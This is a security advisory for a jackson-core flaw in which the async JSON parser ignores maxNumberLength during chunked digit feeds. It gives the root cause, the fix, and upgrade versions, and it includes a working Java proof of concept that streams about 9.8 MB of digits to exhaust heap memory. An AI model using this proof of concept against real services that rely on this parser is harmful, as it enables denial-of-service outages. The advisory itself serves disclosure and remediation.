jackson-core Async Parser maxNumberLength Bypass via Chunked Digit Accumulation (Incomplete Fix)
Jackson's non-blocking JSON parser ignores the configured maxNumberLength limit while receiving digit bytes in chunks, letting an attacker exhaust JVM heap memory by streaming a single oversized numbe
The problem
The async (non-blocking) parser in jackson-core accumulates integer digits into a TextBuffer across chunked feeds. Each time the input buffer runs out mid-number, the parser suspends with MINOR_NUMBER_INTEGER_DIGITS and returns NOT_AVAILABLE to the caller.
The 2.18.6 fix (PR #1555) added validateIntegerLength calls only on the terminating paths (dot, exponent, whitespace, end-of-feed on a complete value). It never calls the validator on those mid-stream NOT_AVAILABLE exits. An attacker who never sends a terminator keeps the parser accumulating digits, bounded only by maxStringLength (20 MiB default), achieving roughly a 20,000x amplification of the documented maxNumberLength limit (1,000 by default).
Reactive stacks like Spring WebFlux, Quarkus, and Vert.x use this exact parser path for every streaming JSON decode.
Proof of concept
A working proof-of-concept for this issue in com.fasterxml.jackson.core:jackson-core, with the exact payload below.
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Async parser, chunked feed, no terminator byte sent.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
// 16 KiB digit chunks, no closing byte.
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
// Returns NOT_AVAILABLE every iteration; validator never fires.
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("unexpected token: " + t);
return;
}
}
// ~9.83 MB accumulated with maxNumberLength=1000.
System.out.println("BUG: async parser accepted ~9.83 MB of digits");
// Validator only fires when the terminator finally arrives.
feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
feeder.endOfInput();
try {
while (ap.nextToken() != null) { /* drive */ }
} catch (Exception e) {
System.out.println("Late rejection: " + e.getMessage().split("\n")[0]);
}
ap.close();
}
}The root cause is a missing validation call on every NOT_AVAILABLE return inside MINOR_NUMBER_INTEGER_DIGITS state. In _finishNumberIntegralPart and _startPositiveNumber, the parser saves its position, calls _textBuffer.expandCurrentSegment() to grow the buffer, then returns NOT_AVAILABLE without ever calling _streamReadConstraints.validateIntegerLength().
The fraction path (_finishFloatFraction) was fixed correctly in 2.18.6: it calls _setFractLength(fractLen) before every NOT_AVAILABLE return. The integer path received no equivalent guard.
PR #1611 (commits 050b429, 4cdd529, c5941e5) fixes this by inserting validateIntegerLength(outPtr + negMod) before each return _updateTokenToNA() that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. Note: _setIntLength cannot be used here because it also sets _intLength prematurely; only the validator call is needed.
CWE-770 (Allocation of Resources Without Limits or Throttling).
The fix
Upgrade to jackson-core 2.18.8 (or 2.21.2+ for the 2.21.x line). The fix in PR #1611 adds validateIntegerLength(outPtr + negMod) before every NOT_AVAILABLE return that suspends mid-integer, matching the pattern already used in the fraction parser. No API or configuration changes are needed; existing StreamReadConstraints.maxNumberLength settings will now be enforced correctly during chunked async feeds.
Reported by tonghuaroot.
Related research
- high · 7.5CVE-2026-44891CVE-2026-44891: netty-codec-stomp Unbounded Header Count DoS
- highCVE-2026-54291CVE-2026-54291: PostgreSQL JDBC Driver Silent SCRAM Channel-Binding Downgrade
- high · 8CVE-2026-11400CVE-2026-11400: aws-advanced-jdbc-wrapper Privilege Escalation via Unqualified PostgreSQL Function Calls
- highArcadeDB: JavaScript Trigger OS Command Injection (RCE)